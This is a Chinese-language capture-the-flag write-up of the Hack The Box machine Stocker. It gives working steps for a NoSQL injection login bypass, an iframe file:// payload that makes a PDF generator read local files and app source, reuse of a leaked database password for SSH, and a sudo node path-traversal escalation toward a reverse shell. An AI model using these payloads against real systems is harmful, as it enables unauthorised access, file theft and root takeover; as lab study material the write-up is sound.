知识点
HTML转PDF时的SSRF,任意文件读取
sudo node 提权
子域名爆破
NOSQL注入
信息搜集 nmap -sS -sC -sV -Pn 10.10.11.196
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Nmap scan report for stocker.htb (10.10.11.196) Host is up (0.65s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 3d12971d86bc161683608f4f06e6d54e (RSA) | 256 7c4d1a7868ce1200df491037f9ad174f (ECDSA) |_ 256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Stock - Coming Soon! |_http-generator: Eleventy v2.0.0 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 36.98 seconds
开的服务比较少,就一个80和22,访问80站点:echo 10.10.11.196 stocker.htb >> /etc/hosts
扫描目录也没发现可疑点,因此尝试爆破子域名:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ┌──(root㉿kali)-[/home/boogipop/gobuster-master] └─# gobuster vhost -u http://stocker.htb/ -w SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 --append-domain =============================================================== Gobuster v3.4 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://stocker.htb/ [+] Method: GET [+] Threads: 50 [+] Wordlist: SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt [+] User Agent: gobuster/3.4 [+] Timeout: 10s [+] Append Domain: true =============================================================== 2023/02/17 22:46:54 Starting gobuster in VHOST enumeration mode =============================================================== Found: dev.stocker.htb Status: 302 [Size: 28] [--> /login]
这边gobuster后面必须加上--append-domain
,这个参数的意思是在给出的domain前面再加一级domain,去掉这个选项你的字典就需要是完整的域名 发现了dev.stocker.htb
,echo 10.10.11.196 dev.stocker.htb >>/etc/hosts
添加进hosts文件后访问网站:
NoSQL注入 一般碰到一个登录框,首先思路就有3种,sql注入,nosql注入,爆破,经过尝试sql注入和爆破都未果,并且也尝试过nosql,但是一直失败 没思路的时候想起来nodejs好像和json格式有点渊源,nodejs是可以接受req的json数据的,所以我就思考是不是格式给错了,尝试payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 POST /login HTTP/1.1 Host: dev.stocker.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json Content-Length: 43 Origin: http://dev.stocker.htb Connection: close Referer: http://dev.stocker.htb/login Cookie: connect.sid=s%3AC_14zHiq1gQ4WJLR29rNJBygb8UiC9sC.0xT4YzK5wQgFb0xURb4GuhUvcl1G7HEtqC%2FxazxOkVU Upgrade-Insecure-Requests: 1 {"username":{"$ne":1},"password":{"$ne":1}}
登录成功,进入页面: 是一个购物界面,你购买之后他会返回一个PDF清单:
PDF导致的SSRF 在购买界面我们可以控制title的内容,也就控制了PDF文件标题内容,我们可以尝试嵌入HTML代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 POST /api/order HTTP/1.1 Host: dev.stocker.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/ 20100101 Firefox/102.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http:// dev.stocker.htb/stock Content-Type: application/json Origin: http:// dev.stocker.htb Content-Length: 156 Connection: close Cookie: connect.sid=s%3 AC_14zHiq1gQ4WJLR29rNJBygb8UiC9sC.0 xT4YzK5wQgFb0xURb4GuhUvcl1G7HEtqC%2 FxazxOkVU {"basket" :[{"_id" :"638f116eeb060210cbd83a91" ,"title" :"<iframe src=file:///etc/passwd width=1000px height=1000px></iframe>" ,"description" :"It's an axe." ,"image" :"axe.jpg" ,"price" :12 ,"currentStock" :21 ,"__v" :0 ,"amount" :1 }]}
返回了orderid,我们访问pdf文件: 成功SSRF出了passwd文件,这里注意我们的useridangoose
,这应该就是普通用户的名字,接着我们可以尝试读取网站源代码,这个网站是用express框架搭建的,并且域名为dev
,因此可以猜到为/var/www/dev/index.js
(这里有点牵强) 但是我们也可以通过报错信息得出目录位置: 报错信息中就可发现目录/var/www/dev
,因此尝试读取/var/www/dev/index.js
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 const express = require ("express" );const mongoose = require ("mongoose" );const session = require ("express-session" );const MongoStore = require ("connect-mongo" );const path = require ("path" );const fs = require ("fs" );const { generatePDF, formatHTML } = require ("./pdf.js" );const { randomBytes, createHash } = require ("crypto" );const app = express ();const port = 3000 ;const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1" ;app.use (express.json ()); app.use (express.urlencoded ({ extended : false })); app.use ( session ({secret : randomBytes (32 ).toString ("hex" ),resave : false ,saveUninitialized : true ,store : MongoStore .create ({mongoUrl : dbURI,}), }) ); app.use ("/static" , express.static (__dirname + "/assets" )); app.get ("/" , (req, res ) => { return res.redirect ("/login" );}); app.get ("/api/products" , async (req, res) => { if (!req.session .user ) return res.json ([]);const products = await mongoose.model ("Product" ).find ();return res.json (products);}); app.get ("/login" , (req, res ) => { if (req.session .user ) return res.redirect ("/stock" );return res.sendFile (__dirname + "/templates/login.html" );}); app.post ("/login" , async (req, res) => { const { username, password } = req.body ;if (!username || !password) return res.redirect ("/login?error=login-error" );const user = await mongoose.model ("User" ).findOne ({ username, password });if (!user) return res.redirect ("/login?error=login-error" );req.session .user = user.id ; console .log (req.session );return res.redirect ("/stock" );}); app.post ("/api/order" , async (req, res) => { if (!req.session .user ) return res.json ({});
发现了Mongodb的链接URL,其中有一串可疑密码IHeardPassphrasesArePrettySecure
,这大概率就是用户angoose的密码
sudo Node提权 这边拿到用户名密码angoose/IHeardPassphrasesArePrettySecure
,ssh连接,在用户目录拿到user.txt: 现在就是该思考怎么提权,首先找一下SUID权限:
1 2 3 find / -user root -perm -4000 -print 2 >/dev/ null find / -perm -u=s -type f 2 >/dev/ null find / -user root -perm -4000 -exec ls -ldb {} ;
啥都没有扑了个空,然后内核版本5.4.0并没什么漏洞,所以就开始思考能否利用服务进行提权,sudo -l
查看可以sudo的指令:/usr/bin/node /usr/local/scripts/*.js
,我们可以调用nodejs的node指令运行/usr/local/scripts目录下的所有js文件,这样思路就明确了,创建恶意js文件,之后node运行获得root反弹shell
目录 Bypass Tricks 这里有个问题,就是scripts目录下不可写: 但是tmp目录可写,这里有个tricks,.
,..
代表当前目录和上级目录,也是包含在scripts/*.js
中的,因此这里可以利用个目录穿越bypasssudo node /usr/local/scripts/../../../tmp/evil.js
,这样即可运行恶意js文件
1 2 exec=require ('child_process' ) exec.execSync ('reverse_shell_payload' );
接下来本地起一个监听nc -lvnp 7788
: